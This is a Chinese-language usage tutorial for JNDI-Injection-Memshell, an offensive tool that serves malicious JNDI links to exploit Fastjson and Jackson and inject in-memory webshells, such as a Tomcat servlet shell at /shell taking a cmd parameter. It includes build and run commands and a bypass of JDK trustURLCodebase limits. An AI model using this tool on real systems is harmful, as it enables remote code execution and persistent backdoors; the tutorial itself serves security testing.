JNDI-Injection-Memshell 项目使用教程
1. 项目介绍
JNDI-Injection-Memshell
是一个用于 JNDI 注入测试的工具,特别增加了内存马注入模块。该项目旨在帮助安全研究人员和开发人员验证 Fastjson、Jackson 等相关漏洞,尤其是在只能使用 RMI 注入而无法使用 LDAP 注入的场景下。
项目基于 welk1n/JNDI-Injection-Exploit 进行扩展,增加了多种内存马注入功能,包括 Tomcat Memshell、Behinder 内存马等。
2. 项目快速启动
2.1 环境准备
- Java 8 或更高版本
- Maven 3.x
2.2 下载项目
git clone https://github.com/MUYU212/JNDI-Injection-Memshell.git
cd JNDI-Injection-Memshell
2.3 构建项目
mvn clean package
2.4 运行项目
java -jar target/JNDI-Injection-Memshell-1.0-SNAPSHOT-all.jar [ADDRESS] [COMMAND]
例如:
java -jar target/JNDI-Injection-Memshell-1.0-SNAPSHOT-all.jar 127.0.0.1 open -a Calculator
2.5 查看输出
运行后,项目会生成多个 JNDI 链接,并启动相关服务。输出示例如下:
----------------------------JNDI Links----------------------------
Target environment(Springboot Interceptor Behinder Memshell): rmi://127.0.0.1:1099/hcs9gf
ldap://127.0.0.1:1389/hcs9gf
...
3. 应用案例和最佳实践
3.1 验证 Fastjson 漏洞
假设目标系统存在 Fastjson 漏洞,可以使用该项目生成 JNDI 链接,并通过漏洞触发远程代码执行。
3.2 内存马注入
项目支持多种内存马注入,包括 Tomcat Servlet 内存马、Behinder Servlet 内存马等。以下是 Tomcat Servlet 内存马的使用示例:
Tomcat Servlet Memshell 命令执行Servlet内存马:路径/shell,参数cmd
3.3 绕过高版本 JDK 限制
项目通过 Groovy 方式绕过高版本 JDK 的 trustURLCodebase
限制,适用于 Tomcat 版本小于 9.0.63 且存在 Groovy 依赖的场景。
4. 典型生态项目
4.1 Fastjson
Fastjson 是一个高性能的 JSON 库,广泛应用于 Java 项目中。该项目可以帮助验证 Fastjson 中的 JNDI 注入漏洞。
4.2 Jackson
Jackson 是另一个流行的 JSON 处理库,该项目同样适用于验证 Jackson 中的 JNDI 注入漏洞。
4.3 Spring Boot
Spring Boot 是一个用于构建微服务的框架,项目中的 Spring Boot 拦截器内存马模块可以帮助验证 Spring Boot 应用中的安全问题。
通过以上教程,您可以快速上手 JNDI-Injection-Memshell
项目,并利用其强大的功能进行安全测试和漏洞验证。